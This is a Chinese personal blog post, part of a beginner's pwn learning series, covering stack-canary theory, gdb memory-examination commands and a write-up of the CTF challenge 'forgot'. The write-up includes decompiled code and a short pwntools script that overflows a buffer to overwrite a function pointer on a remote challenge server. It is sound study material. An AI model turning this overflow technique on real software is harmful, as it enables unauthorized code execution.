menu 牢记自己是菜
RE.从零开始的pwn生活 第二日 Canary理论学习+forgot
998 浏览 | 2020-07-29 | 阅读时间: 约 3 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1359 天前,最后修改于 1359 天前,其中某些信息可能已经过时。

0x1 前言

Canary的理论学习来自于鼎哥的博客,写的很详细,很适合我这种菜鸡入门。本身今天应该是Canary的理论学习,然后再嫖一下鼎哥的Canary的练习exp。可是一大清早鼎哥的博客日常挂掉了,难受!所以这里只能先做一道基础的PWN题了。


0x2 Canary的理论学习

不嫖了不嫖了,在嫖手都要断了/dog! 这里直接把鼎哥的博客嫖了吧。传送门~~
这里只罗列几个我在学习时候遇见的几个小问题:

  • gcc无法编译c文件为32位文件
    这个问题其实很简单,但是由于平时用的都是VS之类的东西,所以gcc用的不熟练,没有及时发现问题。
sudo apt-get install gcc-multilib g++-multilib module-assistant

使用代码更新一下就好了。

  • 其次就是我们在研究Canary时需要一个操作,就是查看栈内情况的操作。由于我gdb用的不是特别熟练,所以在这里稍微的记录一下,方便查阅。

使用examine命令(简写是x)来查看内存地址中的值。x命令的语法如下所示:
x/<n/f/u> <addr>
n、f、u是可选的参数。
n是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义。
f 表示显示的格式,参见下面。如果地址所指的是字符串,那么格式可以是s,如果地十是指令地址,那么格式可以是i。
u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字 节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
<addr>表示一个内存地址。
这里放上两张图感受一下,不同参数下栈内数据的显示情况。


Canary会在创建栈时,在下方多开辟一个空间,在其中生成一个cooking,每次操作完,检查这个值是否被覆盖。所以我们绕过Canary的方法就是泄露cooking然后在栈溢出后,再将cooking给添回去,防止被发现。

0x3 forgot

首先我们进入IDA查看基本代码情况。

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD((int)&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);//此处输入一个字符串
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == '@' )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == 0x2E )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();switch进行正则表达式的匹配,匹配成功后,调用相应的函数
  return fflush(stdout);
}

其实看起来还是蛮费劲的,但是可以看出整道题目的基本逻辑。有两个可以进行输入的地方,一个是姓名,一个是后面的正则表达式。紧接着是一个指针的调用。这个指针主要是调用了上面排列成一串的函数。根据你的输入,他会进行循环的正则表达式的判断,不停的修改V14的值,最终根据你的输入选择对应的函数。观察函数,发现没有一个函数时有用的(废话如果有函数是有用的,那么这就变成了一道逆向的题目了)。我们要使用他所给的后门函数的地址对这些函数进行覆盖,达到调用后门函数的目的。
但是静态分析的局限就在于我们没有办法很直接的看到栈内的情况,所以我们使用GDB调试。

我们很清晰的看见我们的两次输入,在第二次输入后面的栈中,保存的就是后方调用函数的地址。由于正则表达式没有卡“A”
所以我们的payload的前几位使用“AAAA”时,后方调用函数必定击中0x8048604,所以我们将后门函数覆盖到这里就可以了。
当我们使用“.@”时就会击中第三个函数,证明了我们的猜想。

#/usr/bin/python2
from pwn import *
p=remote('220.249.52.133','58412')
get_flag=0x80486cc
payload="A"*0x20+p32(get_flag)
p.sendlineafter('What is your name?\n> ', 'aaa')#两种接收的方法
p.recvuntil("Enter the string to be validate\n> ")
p.sendline(payload)
p.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!